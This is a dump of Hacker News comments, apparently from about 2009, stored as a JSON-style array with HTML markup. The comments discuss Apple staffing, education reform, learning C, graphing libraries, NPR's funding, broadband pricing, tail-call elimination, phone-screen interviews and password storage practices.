positions, they likely cut the hours of 1,600 part-time employees.<p>Then there's the whole, it was the Christmas season. I bet if you look back at records for the past decade there's either been a decline in employees in Q2 as apposed to Q1 or that their growth rate stalls in the Q2 as they no longer need new workers. Then I bet if you look at Q4, there's a big employment spike for the Christmas season.<p>There's too many variables here to say Apple predicted the recession. Maybe they did, however there's much more practical reasons why this decision would have been made.<p>The best reason I can think of is that when the economy started to falter, they reduced part-time workers hours. I don't know about Apples statistics, but most retail companies tend to have double (or more) the number of part-time workers as full-time (usually due to paying less in benefits). This likely means Apple has 28,000 part-time employees, 1,600 of which could have been working extra at Christmas to, you know, pay <i>for</i> Christmas.\", \"There's an idea I've been rolling around in my head for a while, wherein some portion of the day (say an hour) for each class would be dedicated to each student of one grade teaching one of the next younger grade (so two hours per day total per student, one teaching, one being taught).  The idea has a lot of potential, both because it helps the educational system scale and provides much-needed individual attention.  Individual attention is useful even if it comes from poor teachers.  It's much too radical to be implemented in a modern public education system (too much politics there).<p>The reason I found this interesting is that it gives something to do with class size disparity:  have the \\\"best\\\" students in the oversized class work in an independent study format for that hour.  It's so simple.\", \"\\\"The Grade 12 final examinations in those days were set and marked by a province-wide board, so universities could judge who the best students were without having to consider differences between schools.\\\"<p>United States college admission does not work in the same way, and that is one of the reasons that few schools in the United States would try quite the same experiment. The experiment I've been trying, after years of advocating a \\\"learn in freedom\\\"<p><a href=\\\"http://learninfreedom.org/\\\" rel=\\\"nofollow\\\">http://learninfreedom.org/</a><p>approach to education, is negotiating with my oldest son about which distance learning courses and local brick-and-mortar courses make a coherent, college-preparatory program to fit HIS personal goals, and then letting him take on challenges that no other high school in town would let him take on. It will be interesting to see what a college admission committee will make of the experiment. In the United States, the college admission process is enough of a black box that applicants have to cast a wide net to make sure they have a decent, affordable college choice. High test scores alone<p><a href=\\\"http://talk.collegeconfidential.com/parents-forum/377882-how-do-top-scorers-tests-fail-gain-admission-top-schools.html\\\" rel=\\\"nofollow\\\">http://talk.collegeconfidential.com/parents-forum/377882-how...</a><p>don't do the whole job of guaranteeing admission to a strong college program at an affordable price.\", \"I second this. Graphing libs fall into 2 camps:<p>- Flash and JS charts. Those are interactive and most of the processing takes place on the client side, but they cannot be embedded into email reports or PDF documents or anything else, and are very difficult for the average end-user to archive.<p>- Server-side generated images. Those are not interactive, but obviously can be embeded into anything and easily archived, so tend to be more flexible and require no extra dependencies, such as a fast JS engine or a plugin.<p>I've been working with both types for way too long, and I eventually settled on PyCha. I wrote a presets package for my apps that allow me to very quickly change every aspect of charts in bulk, and I was floored when I ran my charting benchmarks. It's also one of the few libraries that scale to a very high number of datapoints (provided you remove the line shadow).\", \"> <i>I've spent some time with Alex</i><p>Do tell.\", \"A flat out blacklist of prisonplanet would be just fine with me.  I've spent some time with Alex.  He is not someone you want to get your news from.\", \"For that there's leechblock : <a href=\\\"https://addons.mozilla.org/en-US/firefox/addon/4476\\\" rel=\\\"nofollow\\\">https://addons.mozilla.org/en-US/firefox/addon/4476</a>\\\\nIt's analogous to noprocrast.\", \"The interesting point for me here is NPR's revenue model.  They're supported by tasteful sponsorships and donations, and they give their content away. They're more successful at this model than any website that I can think of.<p>They are the one traditional news outlet that isn't damaged by changes in distribution methods.  The only change might be that they need to spread their pledge drives out more broadly so that it's harder to skip or tune out.\", \"I'm surprised no one has yet mentioned pg's essay on very similar issues from 2005, submitted a while ago to HN:<p><a href=\\\"http://paulgraham.com/hs.html\\\" rel=\\\"nofollow\\\">http://paulgraham.com/hs.html</a>\", \"Nah, I disagree. It's not that bad. I'm in 10th grade right now, and here's the way I see it: I spend a few hours in school every day, where most of the time is wasted, come home, and spend the remaining 6-8 hours of free time I have learning whatever I want.<p>I used to be pretty annoyed about school in general, but once I realised how much free time I really have, it's amazing how much I started getting done in that same time.<p>(As for the actually interesting or difficult classes, which sometimes do exist, you can do the same thing; for instance, in the first few months of my calculus class, I bought a textbook and finished learning the material until the end of the year. Now that class is just as relaxing and as much of a breeze as any other.)\", NaN, \"Wow am I ever not OK with browser security demonstrations that crash my browser.<p>From the JS, It looks like this is just this old trick:<p><a href=\\\"http://ha.ckers.org/weird/CSS-history-hack.html\\\" rel=\\\"nofollow\\\">http://ha.ckers.org/weird/CSS-history-hack.html</a>\", NaN, \"I have a standard 7mbs/1mbs connection from Rogers in Canada.<p>I paid an extra $14, for a total of about $80 last month, because I downloaded an extra 7GB over my 60GB monthly cap.<p>Mmm nothing like markets with zero competition.\", \"Why didn't I ever see that before? It's pretty cool.\", \"Once again, a title shouts \\\"Panic at the economy\\\" while the actual meat of the article says something completely different.\", \"Absolutely agreed. Make a conscious decision about what you're doing wrong. I found that I was spending too much of my time on aggregators like digg and reddit, and getting little to nothing in return.<p>Both sites, among others, are now banned via my /etc/hosts file - this is a very good technique I find. It's not permanent, but having to sudo to get to it puts in a conscience filter.<p>HN is now the only aggregator I follow regularly, and even then I've become more disciplined about how much time I spend on here.<p>Become more conscious about what you're doing. When you find yourself idling surfing Wikipedia or whatever, catch yourself and ask yourself if there's something else you ought to be doing right now. Catch yourself enough and you will be surprised at how much more productive you become.\", NaN, \"Here's my theory on the \\\"How.\\\"<p>Similar to yours, but starting even a bit more removed:<p>Innovation will happen (and is happening) first in non-accredited adult (and maybe even non-accredited child) learning environments. Crazy theatrical lectures, Spanish classes disguised as video games, etc. People will have really positive experiences with this stuff, and it will trickle down.<p>It's probably too scary for some people to just hand over the keys to their kids' \\\"real\\\" education at first.  Once people see how comfortable and successful changing stuff up is outside of schools, and it will feel less risky inside of schools.<p>I see the edge of this already happening on the Internet, with sites like edufire, for example.\", NaN, \"I was thinking about doing a little wind power project, and thought it would be cool to not use a turbine... so, what's a cheap and easy way to generate electric power from sound?  (Maybe using those little piezoelectric buzzers?)\", \"Agreed. I take ibuprofen when I've got a head ache or a pulled muscle, but Wyeth makes a major profit off of me when I buy advil. However I'd much rather pay my money, like anyone else on the planet, to not feel like crap.<p>I worked construction, I know how painful a ripped muscle is. With ibuprofen I can continue working, because it prevents the inflammation from being more painful than my actual injury. What would anyone rather pay, 3-4 days wages while your muscle gets back to strength naturally or 3-4 hours of wages while your muscle gets back to strength with an anti-inflammatory.<p>I believe it's my right to pay as little as possible for the same quality of medicines and such, however if I want to pay $100 (or whatever) for a vaccination for the H1N1 virus, which has a very low death rate, then that's my prerogative. I'd be buying a service, which is called 'Peace of Mind', and the person selling it expects payments.<p>People have recovered from cancers without the necessary medical treatments. However, everyone here would pay every penny they have to be cured of a cancer, why? Because rational humans don't count on miracles happening, we count on disasters happening.\", \"I remember the years I spent in high school and college just to pass the courses. It was boring and useless. All the time I waited for the course to finish to that I can go to home and do whatever I wanted to do. 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[\"Brentwood, Westwood, and Holmby Hills and Bel Air (the areas that surround UCLA) are some of the wealthiest areas in the nation and <i>world</i>, right up there with Palo Alto, Woodside, Stanford, etc.<p>I have no idea where you or any of your friends got the idea that it would be dangerous there.\", NaN, \"<a href=\\\"https://bugzilla.mozilla.org/show_bug.cgi?id=147777\\\" rel=\\\"nofollow\\\">https://bugzilla.mozilla.org/show_bug.cgi?id=147777</a>\", \"Interesting.  Both Zen and Analysis fascinate me.  But I could have done with more information on the process, and less on the person undergoing it.<p>But possibly it's all so personal that you can't get more than that.\", \"Singapore also have an excelent system to minimize drug use.\", \"People left the cities because of the rise in crime.  Crime can always be prevented by a reasonably effective government.  Read this book to get a sense of what happened in Brooklyn: <a href=\\\"http://www.amazon.com/Canarsie-Italians-Brooklyn-Against-Liberalism/dp/0674093615\\\" rel=\\\"nofollow\\\">http://www.amazon.com/Canarsie-Italians-Brooklyn-Against-Lib...</a>  The same story was repeating itself across the country.\", \"I finally engineered this for myself at age 14 or 15. I discovered that I could get into <i>both</i> the advanced courses and a dropout prevention program that let me out of school at noon to go work a job doing programming and animation.\", \"Cute.<p>So suppose I want to know who my visitors are, but I do not want to resort to underhanded tactis like this. Any ideas on how to get to know my customers yet respect their privacy?\", \"C isn't hard, don't worry! It's actually a fairly simple language. But it's medium/low-level and there is a lot of power within its simplicity. Fast to learn, but a long time to master, as one might say.<p>I don't know what people are using to learn C these days, but the standard has always been the white book <a href=\\\"http://www.amazon.com/Programming-Language-Prentice-Hall-Software/dp/0131103628\\\" rel=\\\"nofollow\\\">http://www.amazon.com/Programming-Language-Prentice-Hall-Sof...</a><p>You will find yourself spending more time thinking about programming concepts rather than dealing with C syntax, since it's pretty concise. I don't know how difficult it is to learn about pointers if you have already been programming for a while but haven't had to use references directly, but it's very important to learn. C does not do too much for you on its own, so handling references yourself is an important skill. It will also help you understand how higher level languages and concepts work.<p>If you are working through it and find that you're enjoying yourself, congratulations, you're a programmer :] Then it's time to pick up the 1st volume of Knuth and start working through that.\", \"The Cairo-powered <a href=\\\"http://www.aeracode.org/projects/graphication/\\\" rel=\\\"nofollow\\\">http://www.aeracode.org/projects/graphication/</a> is well worth a look - unfortunately the only documentation is examples at the moment.\", \"NPR may be \\\"thriving\\\" in terms of audience size, but just a few months ago they canceled a show and announced layoffs due to a lack of funds.\", \"Sure!  Knowing C can definitely help with your overall understanding of how things work.  It's especially helpful when learning new languages.<p>I uploaded a copy of K&R ANSI C for you.  In my opinion, it's probably the best way to learn it.<p><a href=\\\"http://whitepaperclip.com/files/ansi_c.pdf\\\" rel=\\\"nofollow\\\">http://whitepaperclip.com/files/ansi_c.pdf</a><p>Have fun!\", \"I believe the plurality of money comes from pledge drives, not the government. But point taken.\", \"K&R\\\\n<a href=\\\"http://en.wikipedia.org/wiki/The_C_Programming_Language_(book)\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/The_C_Programming_Language_(boo...</a>\", NaN, \"A reasonable point. Then again, drug use is arguably the primordial hack to your own wetware, and drug policy indirectly says something about how the state approaches individual cases it might not understand - consider the history of PGP, or whether Linux would have been developed in the US. So I vote for relevant, although only very peripherally.\", \"Because it fit his hypothesis better?\", \"Also, they're not afraid of getting replaced in a shareholders' revolt.\", NaN, \"Nothing amazing, but I'm sure a very useful script as sometimes if you need to add multiple domains vhosts would be a pain without some automation.\", \"> <i>I wouldn't want my pacemaker running a garbage-collected language and yet most web apps are written with GC.</i><p>I'd prefer GC over memory leaks...\", NaN, \"Three books have really helped me:<p>1) Getting Things Done by David Allen gives you a system that works for keeping track of things and choosing what to work on when.<p>2) The Now Habit by Neil Fiore teaches you how to get rid of some stupid things we do and think that keeps us procrastinating.<p>3) Tribes by Seth Godin inspires you to go out and do great deeds, big and small.\", \"If I encountered code like this on the job, I'd feel obligated to let someone higher up know about it. I know this isn't a very constructive comment, but I don't really have much else to say :)\", \"Can't imagine how I could confuse those names. :)<p>More to the point:<p>\\\"This presentation and the reaction afterward is being taken as INDICATIVE of a problem that is neither recognized nor addressed.\\\"<p>I don't see a single presentation out of whatever total number of Ruby talks  as coming even close to being indicative of a problem.<p>Nine years of Ruby conferences.  One comes along that demonstrates notable poor taste.  That's a good record.\", \"The author seems to fundamentally misunderstand the point of a phone screen, you don't ask trivial questions to see how good the engineer is, but to filter out the really bad engineers.<p>If someone doesn't know what a hashtable or a pointer is then there's no point in wasting their time or yours in bringing them in for an in-house interview. Many companies reject as many as 70-90% of candidates at phone interviews due to candidates lacking basic skills.\", \"Indeed, the first thing I thought after reading the article was 'Google has HR do their phone screens?  Really?'- apparently not.\", \"Yeah, I hated school too.  It's not ever going to change because it's <i>for the masses</i>.  That's its <i>sole and express purpose</i>.  Why is anyone trying to redesign the system or otherwise shoehorn exceptional people into a system designed for the masses?  Either drop out or shut up, in my opinion.  Massive social structures don't have time for unique butterflies.  That's the Reality of the situation with a capital R.<p>The optimum solution is to just get it done at an 75-90% level until you graduate HS or college and get on with your god damn life instead of fighting it for years and years and years and pulling yourself and others down in the process.  Just give them the bare minimum of what they want while pursuing your own interests.  It's politics 101.<p>This is why many, many successful people say \\\"I dropped out\\\", or \\\"Oh, I was only a B and C student\\\" instead of \\\"I spent every waking moment of my life trying to rebel against the system in which I had no place in, attempting to reforming it form the inside to suit my specific needs to a tee.\\\"\", \"Throughout my career, I've viewed C as the sleeping monster that mere mortals such as myself dare not waken. However, as I increasingly seek to achieve more complex goals in my projects, I find myself encountering C libraries (such as GMime) which will answer all my questions, if I could actually program in C. I have a copy of C Primer Plus Fifth Edition at hand, a development FreeBSD server as well as my Mac, but would like to ask of this community if they are aware of any other references, such as old CS course materials, which may help. Many thanks in advance. I realise that this is a long term goal, but feel that with my taste in server platform and operations software, C will prove a boon to me.\", \">It's not that bad. I'm in 10th grade right now, and here's the way I see it: I spend a few hours in school every day, where most of the time is wasted,<p>Your standards for \\\"not that bad\\\" are low.  Wasting half your day sucks.  Why not just take the GED and go to college?  If your state (presuming you are in the US) is anything like Ohio, you can go to a local college on the public school's dime and get both HS and college credit.  No GED required.<p>I wasted so much time in school.  When most people make this statement, it's blatant anti-intellectualism.  For me, it's a testament to the inefficiency of public education in the US.\", \"Back in the day, CompuServe, Delphi etc. used to charge for connections by the mnute (not to mention for emails). Major phone companies like Verizon etc. still segment customers dependent on whether they're calling inside or outside the network (as if I care what carrier someone else sues, or are going to ask them to switch for my benefit!).I hope this model is doomed.<p>I'm glad the current administration is committed to a broadband plan for the US, although I'm worried that the FCC has set it sights far too low. Personally, I'm OK with some taxes going towards this; Broadband is nowadays as important  as a well-functioning road system. It seems to me that the poorer or less economically developed parts of the US would derive big long-term economic benefits.<p><a href=\\\"http://www.fcc.gov/broadband\\\" rel=\\\"nofollow\\\">http://www.fcc.gov/broadband</a> is the central FCC page for the electronic superhighway and related policies. Though very dull looking, there's a lot of substance at the links on the left.\", NaN, \"The whole idea of unschooling is a little too utopian for me. Teaching is a skilled craft. A good teacher will work a classroom to keep all manner of kids involved and engaged. We've all had teachers like that. I had a 7th grade social studies teacher who was fantastic and an accounting professor in college who made accounting exciting. Accounting!<p>The problem in this country is well known. We have too many poorly trained and poorly paid teachers. And unfortunately with No Child Left Behind, we've stiffled the good teachers as well.<p>You can't just remove the teacher. Even the author's experience of independent study still relies on teachers to create the curriculum, produce learning materials and monitor progress through tests. That's a far cry to \\\"go learn on your own.\\\"\", \"History and the implications of network neutrality (covers AT&T and Verizon in depth): <a href=\\\"http://jtame05.wordpress.com/2008/10/21/network-neutrality-word97/\\\" rel=\\\"nofollow\\\">http://jtame05.wordpress.com/2008/10/21/network-neutrality-w...</a>\", \"I'd imagine the government subsidies and not needing to pay for their chunk of the FM spectrum probably have a lot to do with it, too.\", \"The thing is, usually when you want the stack frames, /they are there/. They're present because they form part of the continuation of the computation.<p>Tail calls, because they don't form part of the continuation, are usually not interesting at all in stack traces.<p>To put it another way: a python backtrace doesn't include statements that were already executed. \\\"Of course it doesn't, they're already executed!\\\", you say -- well so have the tail calls! They are exactly equivalent (google for CPS transformation).\", \"I'm guessing you're excluding Quebec? I can consistently download at 800k/sec (if the server will push the bits this fast) with Videotron. Is that really considered impossibly slow nowadays?! I don't even know what I'd do with more bandwidth, though now that I have a server the 100k/sec upload limit is a bit more of an irritation.\", \"When clicking on \\\"private\\\" and then canceling out of the box that pops up, \\\"log in\\\" changes to \\\"og in.\\\" A minor issue, but an issue none-the-less.\", \"In Sweden we have something called Sidewalk Express where you can sit down at a computer and browse the web for \\u20ac1 per hour. If you want to use the WLAN in the same location (from some other company), you'll have to pay ~\\u20ac5 per hour - and then the computer isn't included. Weird.\", \"<a href=\\\"http://en.wikipedia.org/wiki/Lunar_Escape_Systems\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/Lunar_Escape_Systems</a>\", \"The \\\"Lambda: The Ultimate GOTO\\\" paper shows a still-timely example of when you might want to express a state machine as mutually recursive functions. Granted, they compare to the actual GOTO, but you can't make state machines of any manageable size with iteration, either.\", \"Link to the Cato Institute, where you can download the report they sponsored: <a href=\\\"http://cato.org/pub_display.php?pub_id=10080\\\" rel=\\\"nofollow\\\">http://cato.org/pub_display.php?pub_id=10080</a>\", \"Anyone running an accelerator will certainly have people around that understand how to set up a corporation.<p>The programming equivalent would be trying to fight off competition by not showing them your ~/.emacs.\", \"Exactly. He starts with saying that Sergey Brin wouldn't pass Google's phone screening, but (at least when I interviewed with them for an internship) Google phone screens with engineers. The conversation was good, the problems were an interesting/fun challenge, and it would certainly have been effective in deciding whether I was cut out for the position.<p>I think that the argument should be rewritten to say that the only people that should be judging competence are the ones that work in the field. An HR person shouldn't be trying to decide whether an applicant has passed a screening. They should get an engineer to talk to them instead and decide.\", \"I thought this news was important enough to break the submitting rules about non hacker related subjects\", \"One of the things I did with my kids was to push them to take courses at the local community colleges while they were still in high school.  They got better quality instruction, more advanced topics, and college level credit.  My son had credit for all but two math classes in EECS at UC Berkeley.  My daughter was able to graduate in four years at UCLA, rather than drag on to 5 years because of schedule conflicts and oversubscribed classes.\", \"Python has a pretty distinctive programming style (what's considered \\\"pythonic\\\"), and code that makes idiomatic use of tail calls tends to be structured quite differently. While it may have been a good addition early in Python's history, retrofitting it now would make the language more complicated and messy, and avoiding having a dozen ways to do the same thing (as in Perl) has been a goal from the start. Python's design seems to argue that any incremental improvements gained by using one coding style over another will be lost due to dealing with several different coding styles. (Particularly when somebody is actually trying to write Scheme, Haskell, etc. in Python.)<p>Questions about whether it'd be better if Python supported tail-call elimination, type inference, macros, etc. need to consider not just the theoretical power advantage, but the extent they would tend to fragment the existing community, make existing code harder to use/maintain, etc.<p>FWIW, Lua (<a href=\\\"http://lua.org\\\" rel=\\\"nofollow\\\">http://lua.org</a>) is stylistically quite similar to Python, and has an equally strong focus on keeping things simple, but approaches it differently. Its designers kept the core language extremely small, yet easily extensible in Lua or C. It's very interesting to compare and contrast its design with Python's. (It's also a great language in its own right, and it has TCO.)\", \"The English speaking world includes parts of Asia, including Singapore and Hong Kong.  It also includes parts of Central and South America and Africa, and large parts of India and parts of the Middle East.<p>The sun never sets on the British Empire, remember all that crap they used to say before it set on them for good?<p>Sigh.\", \"Yes, why did he choose 1996?  2004 is the more obvious choice.\", \"I used to do a bit of work at cable access in Austin in the 90's.  Alex was around quite a bit and always interested in talking about conspiracy theories, the new world order, etc.  He just radiated mania and paranoia.  His online/on-air personality is really not a act -- he was dead serious about everything he said.\", \"Interesting point, but I think this post is attacking a certain kind of phone screening, rather than all phone screening.<p>If you get a (people-friendly) geek to do the phone screening instead, with a single question: \\\"would you like to have a further 30 minute chat with this person?\\\", I would hope you get better results.<p>I'll agree that getting HR to do your phone screening for technical people is pretty disastrous though.\", \"How about \\\"People who generically object to statistics KNOW their own position can't be rationally supported.\\\"\", \"I'll try that, thanks.\", NaN, \"I don't necessarily want to start a flame war, but it is inaccurate to say \\\"God said so in that holy book.\\\" People have added up the number of years that are mentioned in the Bible and claimed that the earth is only that old. A decent amount of Genesis can be looked at not as literal history, but a summary. This is done even by some very conservative scholars who believe that God is the creator and also believe that the earth really is as old as science says it is.\", \">He felt the sores on his body dry up and start to slough off. He was hungry enough that he actually caught himself peeling off the scabby cornflakes and eating them. It grossed him out, but he was hungry.<p>:)\", \"This is misleading, they lost 1,600 full-time (or equivalent) workers. This could mean a lot of their part-time workers getting extra hours could no longer get extra hours, it doesn't mean they 'axed' 1,600 full-time positions, they likely cut the hours of 1,600 part-time employees.<p>Then there's the whole, it was the Christmas season. I bet if you look back at records for the past decade there's either been a decline in employees in Q2 as apposed to Q1 or that their growth rate stalls in the Q2 as they no longer need new workers. Then I bet if you look at Q4, there's a big employment spike for the Christmas season.<p>There's too many variables here to say Apple predicted the recession. Maybe they did, however there's much more practical reasons why this decision would have been made.<p>The best reason I can think of is that when the economy started to falter, they reduced part-time workers hours. I don't know about Apples statistics, but most retail companies tend to have double (or more) the number of part-time workers as full-time (usually due to paying less in benefits). This likely means Apple has 28,000 part-time employees, 1,600 of which could have been working extra at Christmas to, you know, pay <i>for</i> Christmas.\", \"There's an idea I've been rolling around in my head for a while, wherein some portion of the day (say an hour) for each class would be dedicated to each student of one grade teaching one of the next younger grade (so two hours per day total per student, one teaching, one being taught).  The idea has a lot of potential, both because it helps the educational system scale and provides much-needed individual attention.  Individual attention is useful even if it comes from poor teachers.  It's much too radical to be implemented in a modern public education system (too much politics there).<p>The reason I found this interesting is that it gives something to do with class size disparity:  have the \\\"best\\\" students in the oversized class work in an independent study format for that hour.  It's so simple.\", \"\\\"The Grade 12 final examinations in those days were set and marked by a province-wide board, so universities could judge who the best students were without having to consider differences between schools.\\\"<p>United States college admission does not work in the same way, and that is one of the reasons that few schools in the United States would try quite the same experiment. The experiment I've been trying, after years of advocating a \\\"learn in freedom\\\"<p><a href=\\\"http://learninfreedom.org/\\\" rel=\\\"nofollow\\\">http://learninfreedom.org/</a><p>approach to education, is negotiating with my oldest son about which distance learning courses and local brick-and-mortar courses make a coherent, college-preparatory program to fit HIS personal goals, and then letting him take on challenges that no other high school in town would let him take on. It will be interesting to see what a college admission committee will make of the experiment. In the United States, the college admission process is enough of a black box that applicants have to cast a wide net to make sure they have a decent, affordable college choice. High test scores alone<p><a href=\\\"http://talk.collegeconfidential.com/parents-forum/377882-how-do-top-scorers-tests-fail-gain-admission-top-schools.html\\\" rel=\\\"nofollow\\\">http://talk.collegeconfidential.com/parents-forum/377882-how...</a><p>don't do the whole job of guaranteeing admission to a strong college program at an affordable price.\", \"I second this. Graphing libs fall into 2 camps:<p>- Flash and JS charts. Those are interactive and most of the processing takes place on the client side, but they cannot be embedded into email reports or PDF documents or anything else, and are very difficult for the average end-user to archive.<p>- Server-side generated images. Those are not interactive, but obviously can be embeded into anything and easily archived, so tend to be more flexible and require no extra dependencies, such as a fast JS engine or a plugin.<p>I've been working with both types for way too long, and I eventually settled on PyCha. I wrote a presets package for my apps that allow me to very quickly change every aspect of charts in bulk, and I was floored when I ran my charting benchmarks. It's also one of the few libraries that scale to a very high number of datapoints (provided you remove the line shadow).\", \"> <i>I've spent some time with Alex</i><p>Do tell.\", \"A flat out blacklist of prisonplanet would be just fine with me.  I've spent some time with Alex.  He is not someone you want to get your news from.\", \"For that there's leechblock : <a href=\\\"https://addons.mozilla.org/en-US/firefox/addon/4476\\\" rel=\\\"nofollow\\\">https://addons.mozilla.org/en-US/firefox/addon/4476</a>\\\\nIt's analogous to noprocrast.\", \"The interesting point for me here is NPR's revenue model.  They're supported by tasteful sponsorships and donations, and they give their content away. They're more successful at this model than any website that I can think of.<p>They are the one traditional news outlet that isn't damaged by changes in distribution methods.  The only change might be that they need to spread their pledge drives out more broadly so that it's harder to skip or tune out.\", \"I'm surprised no one has yet mentioned pg's essay on very similar issues from 2005, submitted a while ago to HN:<p><a href=\\\"http://paulgraham.com/hs.html\\\" rel=\\\"nofollow\\\">http://paulgraham.com/hs.html</a>\", \"Nah, I disagree. It's not that bad. I'm in 10th grade right now, and here's the way I see it: I spend a few hours in school every day, where most of the time is wasted, come home, and spend the remaining 6-8 hours of free time I have learning whatever I want.<p>I used to be pretty annoyed about school in general, but once I realised how much free time I really have, it's amazing how much I started getting done in that same time.<p>(As for the actually interesting or difficult classes, which sometimes do exist, you can do the same thing; for instance, in the first few months of my calculus class, I bought a textbook and finished learning the material until the end of the year. Now that class is just as relaxing and as much of a breeze as any other.)\", NaN, \"Wow am I ever not OK with browser security demonstrations that crash my browser.<p>From the JS, It looks like this is just this old trick:<p><a href=\\\"http://ha.ckers.org/weird/CSS-history-hack.html\\\" rel=\\\"nofollow\\\">http://ha.ckers.org/weird/CSS-history-hack.html</a>\", NaN, \"I have a standard 7mbs/1mbs connection from Rogers in Canada.<p>I paid an extra $14, for a total of about $80 last month, because I downloaded an extra 7GB over my 60GB monthly cap.<p>Mmm nothing like markets with zero competition.\", \"Why didn't I ever see that before? It's pretty cool.\", \"Once again, a title shouts \\\"Panic at the economy\\\" while the actual meat of the article says something completely different.\", \"Absolutely agreed. Make a conscious decision about what you're doing wrong. I found that I was spending too much of my time on aggregators like digg and reddit, and getting little to nothing in return.<p>Both sites, among others, are now banned via my /etc/hosts file - this is a very good technique I find. It's not permanent, but having to sudo to get to it puts in a conscience filter.<p>HN is now the only aggregator I follow regularly, and even then I've become more disciplined about how much time I spend on here.<p>Become more conscious about what you're doing. When you find yourself idling surfing Wikipedia or whatever, catch yourself and ask yourself if there's something else you ought to be doing right now. Catch yourself enough and you will be surprised at how much more productive you become.\", NaN, \"Here's my theory on the \\\"How.\\\"<p>Similar to yours, but starting even a bit more removed:<p>Innovation will happen (and is happening) first in non-accredited adult (and maybe even non-accredited child) learning environments. Crazy theatrical lectures, Spanish classes disguised as video games, etc. People will have really positive experiences with this stuff, and it will trickle down.<p>It's probably too scary for some people to just hand over the keys to their kids' \\\"real\\\" education at first.  Once people see how comfortable and successful changing stuff up is outside of schools, and it will feel less risky inside of schools.<p>I see the edge of this already happening on the Internet, with sites like edufire, for example.\", NaN, \"I was thinking about doing a little wind power project, and thought it would be cool to not use a turbine... so, what's a cheap and easy way to generate electric power from sound?  (Maybe using those little piezoelectric buzzers?)\", \"Agreed. I take ibuprofen when I've got a head ache or a pulled muscle, but Wyeth makes a major profit off of me when I buy advil. However I'd much rather pay my money, like anyone else on the planet, to not feel like crap.<p>I worked construction, I know how painful a ripped muscle is. With ibuprofen I can continue working, because it prevents the inflammation from being more painful than my actual injury. What would anyone rather pay, 3-4 days wages while your muscle gets back to strength naturally or 3-4 hours of wages while your muscle gets back to strength with an anti-inflammatory.<p>I believe it's my right to pay as little as possible for the same quality of medicines and such, however if I want to pay $100 (or whatever) for a vaccination for the H1N1 virus, which has a very low death rate, then that's my prerogative. I'd be buying a service, which is called 'Peace of Mind', and the person selling it expects payments.<p>People have recovered from cancers without the necessary medical treatments. However, everyone here would pay every penny they have to be cured of a cancer, why? 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I don't think you can remove the human element from networking. LinkedIn succeeds because they are a powerful tool for managing a professional network and a lesser tool for reputation scoring (other startups are addressing that - check out <a href=\\\"http://anthillz.com\\\" rel=\\\"nofollow\\\">http://anthillz.com</a>). They do have a 'people you might want to add as a connection' but they pretty much remain in the background. LinkedIn is going to be hard to beat - they have the data and have gone beyond critical mass.\", NaN, \"Because you are going to lose your entire database, and everyone's password along with it, to the first SQL Injection vulnerability you miss in your application.\", \"Me and my friends once tried to uncover his real name, with no success. It seems he has registered all his domains with the name _why the lucky stiff (the WHOIS page said \\\"the lucky stiff, _why\\\")<p>Maybe that <i>is</i> his real name?\", \"\\\"<i>That counts as obsession to me.</i>\\\"<p>It's a red flag, not an obsession...<p>\\\"<i>financial institutions often need to store in plaintext anyway, for telephone authentication.</i>\\\"<p>Mine doesn't.  And yes, if they did, I would not be their customer.  Just because I may not know exactly what happens behind the scenes somewhere doesn't mean I can't react to the red flags I can see.<p>\\\"<i>If you tell users to set a hard password, and they can recover it later if necessary, they would hopefully tend to use better ones</i>\\\"<p>How is that any different than if the user can <i>reset</i> the password?<p>\\\"<i>What, pray tell, is the difference between sending the password and sending a link to reset the password, if an attacker has access to the victim's email?</i>\\\"<p>There is a big difference.  Anyone who has access to the text of the mail <i>at any point in time</i> now has your password.  It's about mitigating the risks of the crappy vetting channel (email) with a time limited method (a reset URL).<p><i>\\\"Yeah, pity SSL is not an authentication method.  You did know that, right?</i>\\\"<p>For password based things, I am referring to the <i>channel</i> used to avoid the well known problems with digest access authentication such as man in the middle attacks.<p>Besides what I was referring to: used with non-anonymous X509 client certs, yes SSL <i>is</i> in fact used for authentication.  Entire infrastructures are built on it.  All of the clusters I have access to only let me in by virtue of X509 client certificates over SSL.<p><i>\\\"\\\"good thing no-one needs it\\\" is ridiculous. I, personally, need it, and am very far from alone.</i>\\\"<p>I said good thing no one needs it if SSL is available not that no one needs it...<p>I use it myself in software we release that runs behind a firewall, I'm well aware it's cheaper.<p><i>\\\"I would certainly not avoid a site just because they store in plaintext</i>\\\"<p>I admit it's a little on the reactionary side for me to say that, it was quick snarky comment.<p>But I don't take back that it's a red flag.\", \"OK. I will try to explain.<p>There are big problems with software development - complexity and requirement of the special state of the mind. This is why there are still no programming factories. There are already data-indexing and query processing factories, but you still should think and write.<p>All those methods, form Booch's RUP, Beck's XP, Fowler's Refactoring are an attempts to adapt scientific methods, psychological and human behavior models, and even religious concepts to the process of the writing software.<p>The point is that these common ideas can be also adapted to a business processes.<p>For example, RUP is about planning and circles of iterations - scientific approach. XP is about reuse human behavior - little steps, being sure you hadn't broke anything, look (run tests) at your beloved code 10 times a day. Refactoring is about continuous improvements, little changes, that makes your code easier to understand, which means easier to modify and support. This is, probably, from dictionary and guide-books writing. You're writing the code is for humans, not for compilers.<p>Of course, not one of these methods fits all, but you can make a mix by yourself. Some from there, some from there. It is like cooking. All sources and ingredients available - just try, learn on failures and try again.\", \"I'm not into Twitter at all too much, yet, but it seems like nowadays any link you post is fair game.  URLs in and of themselves have nearly as much value as the content within them, which is what makes social media sites so valuable.  It's now the nature of the web for URLs to get passed around.  It doesn't seem to matter much from where the URL first got popular.. Digg/Reddit/HN/4chan/etc.. if it's good content, the link has value, and is arbitraged across all of the networks.<p>Anybody can repost links found on any of these networks, and claim they found them themselves.  I've long theorized about how since there's values in URLs, one could profit from being able to detect when a URL is \\\"underrated,\\\" that is, poised to become extremely popular, and share the link.  Basically, a \\\"what's about to be really hot across all social media sites\\\" URL generator.  If I link to it from Twitter before it becomes popular, I'm doing my followers a service.<p>My question for you: what does \\\"highest-point\\\" submission mean?  How are points measured?  Where can you view them?\", \"A good thread over at Wired around popular social bookmarking alternatives: <a href=\\\"http://blog.wired.com/business/2009/01/magnolia-suffer.html\\\" rel=\\\"nofollow\\\">http://blog.wired.com/business/2009/01/magnolia-suffer.html</a>\", \"I would barely call some TechCrunch comments \\\"controversy\\\". That site has some serious youtube-style lowest-denominator-of-society commenting going on. The troll to constructive comment ratio is like 9:1.\", \"So the problem is that the people on the rotations are too lazy to fill out the review forms? The problem is not that they are afraid the reviews will bite them later?<p>If so, sounds like you could try offering rewards of some type. What I've seen in the 